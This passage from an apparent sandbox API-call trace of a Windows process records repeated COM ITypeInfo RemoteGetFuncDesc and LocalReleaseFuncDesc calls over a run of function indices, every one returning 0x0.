(This=0x2764af38878) returned 0x0 [0116.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x76, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.564] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x77, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.564] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x78, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.564] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x79, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.564] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7a, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.564] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7b, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.564] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7c, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.564] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7d, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7e, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7f, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x80, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x81, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x82, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x83, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x84, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x85, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x86, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x87, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x88, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x89, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8a, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8b, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8c, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8d, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8e, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8f, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x90, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.565] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x91, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x92, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x93, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x94, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x95, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x96, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x97, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x98, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x99, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9a, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9b, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9c, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9d, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9e, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9f, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa0, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa1, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa2, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.566] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa3, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.567] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa4, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa5, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa6, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa7, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa8, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa9, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xaa, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xab, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xac, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xad, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xae, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xaf, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb0, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb1, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb2, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb3, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb4, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.568] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb5, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.569] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb6, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.569] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb7, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.569] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb8, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.569] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb9, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.569] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xba, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.569] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xbb, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.569] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xbc, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.569] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xbd, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.569] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xbe, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.569] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xbf, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.569] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc0, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.569] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc1, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.569] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc2, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.569] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc3, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.569] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc4, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.569] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc5, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.570] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc6, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.570] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc7, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.570] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc8, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.570] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc9, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.570] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xca, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.570] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xcb, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.570] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xcc, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.570] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xcd, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.570] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xce, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.570] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xcf, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.570] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd0, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.570] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd1, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.570] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd2, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.570] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd3, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.570] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd4, ppFuncDesc=0xb5690f5aa8, 